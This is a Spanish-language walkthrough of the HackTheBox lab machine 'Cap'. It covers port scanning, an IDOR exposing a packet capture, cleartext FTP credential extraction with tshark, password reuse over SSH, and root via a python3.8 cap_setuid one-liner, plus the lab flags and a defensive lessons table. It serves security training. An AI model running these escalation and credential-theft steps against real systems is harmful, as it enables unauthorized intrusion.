Post

Cap — HackTheBox

Cap — HackTheBox
Campo Valor
TARGET IP 10.129.3.19
DOMAIN cap.htb
OS Linux
SERVICES 21/FTP · 22/SSH · 80/HTTP
DIFFICULTY Easy
TECHNIQUES IDOR · FTP Credentials in PCAP · Linux Capabilities (cap_setuid)
Flag Hash
user.txt aaf24ac79e5aec40014bc6cc47c80639
root.txt 43737038fe2d649a4b60fd02cef8449a
1
root@cap:~# echo "pwned by Show@Hack4u~" >> /etc/motd

RECONOCIMIENTO

Nmap — Full Port Scan

Escaneo completo de puertos con tasa agresiva para descubrir servicios expuestos. Se identificaron tres puertos abiertos: FTP en 21, SSH en 22 y HTTP en 80.

1
2
3
4
5
$ nmap -p- --open --min-rate 4500 -n -Pn -vvv 10.129.3.19
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Nmap — Service & Script Scan

Detección de versiones y scripts sobre los puertos descubiertos. Se confirma vsftpd 3.0.3 en FTP, OpenSSH 8.2p1 en SSH y Gunicorn sirviendo la web (app Python).

1
2
3
4
5
6
$ nmap -sCV -p 21,22,80 10.129.3.19
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open  http    Gunicorn
|_http-title: Security Dashboard

ENUMERACIÓN WEB

Security Dashboard

La aplicación web en el puerto 80 es un Security Dashboard con métricas de seguridad (eventos, intentos de login fallidos, port scans). El nombre de la máquina, “Cap”, actúa como doble hint: capture de paquetes y Linux capabilities.

El dashboard muestra estadísticas en tiempo real: 1560 Security Events, 357 Failed Login Attempts y 27 Port Scans (Unique IPs).

IDOR — Insecure Direct Object Reference

La sección de capturas de red expone una URL del tipo /data/<id>. Modificando el ID a /data/0 se accede a la captura inicial del sistema, lo que constituye un IDOR clásico.

1
2
http://10.129.3.19/data/1   <- captura del usuario actual
http://10.129.3.19/data/0   <- captura inicial del sistema [IDOR]

ANÁLISIS DEL PCAP

Extracción de credenciales FTP

El archivo 0.pcap contiene tráfico FTP en texto claro. Con tshark se filtran los comandos FTP y se obtienen las credenciales del usuario nathan.

1
2
3
4
5
6
7
8
$ tshark -r 0.pcap -Y ftp -T fields -e ftp.request.command -e ftp.request.arg
USER  nathan
PASS  Buck3tH4TF0RM3!
SYST
PORT  192,168,196,1,212,140
LIST
RETR  notes.txt
QUIT

Credenciales obtenidas: nathan / Buck3tH4TF0RM3!


ACCESO INICIAL

SSH — User Flag

Las credenciales encontradas en el pcap son válidas también para SSH (reutilización de contraseñas).

1
2
3
4
5
$ ssh nathan@10.129.3.19
nathan@10.129.3.19's password: Buck3tH4TF0RM3!

nathan@cap:~$ cat user.txt
aaf24ac79e5aec40014bc6cc47c80639

ESCALADA DE PRIVILEGIOS

Linux Capabilities — cap_setuid en Python

getcap revela que /usr/bin/python3.8 tiene asignada la capability cap_setuid+eip.

1
2
3
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep

Explotación — os.setuid(0)

1
2
3
4
nathan@cap:~$ python3.8 -c "import os; os.setuid(0); os.system('/bin/bash')"

root@cap:~# cat /root/root.txt
43737038fe2d649a4b60fd02cef8449a

cap_setuid permite modificar el UID del proceso. Al combinarlo con os.system() se obtiene una shell hija que hereda UID=0.


KILL CHAIN COMPLETA

Step Fase Detalle
01 RECON nmap -p- descubre FTP/21, SSH/22, HTTP/80.
02 WEB ENUM Security Dashboard en /data/. IDOR cambiando el ID a 0.
03 PCAP tshark extrae credenciales FTP en claro: nathan / Buck3tH4TF0RM3!
04 FOOTHOLD Reutilización de credenciales. ssh nathan@target → user.txt.
05 PRIVESC cap_setuid en python3.8. os.setuid(0) + os.system("/bin/bash") → root.

LECCIONES APRENDIDAS

Concepto Detalle
IDOR Nunca confiar en IDs secuenciales del lado del cliente. Controles de acceso por objeto en el servidor.
FTP CLEARTEXT FTP transmite credenciales en texto plano. Usar SFTP o FTPS.
REUTILIZACIÓN Contraseñas únicas por servicio.
CAPABILITIES cap_setuid en intérpretes es equivalente a SUID root. Auditar con getcap -r /.
NOMBRE = HINT “Cap” → pcap + capabilities.
1
root@cap:~# exit  // Show@Hack4u~ — HackTheBox Season I

GREETINGS

Hack4u — La comunidad que construiste es el mejor sitio para aprender hacking de verdad.

See you again — Show~

1
root@htb:~# echo "gg" && exit
This post is licensed under CC BY 4.0 by the author.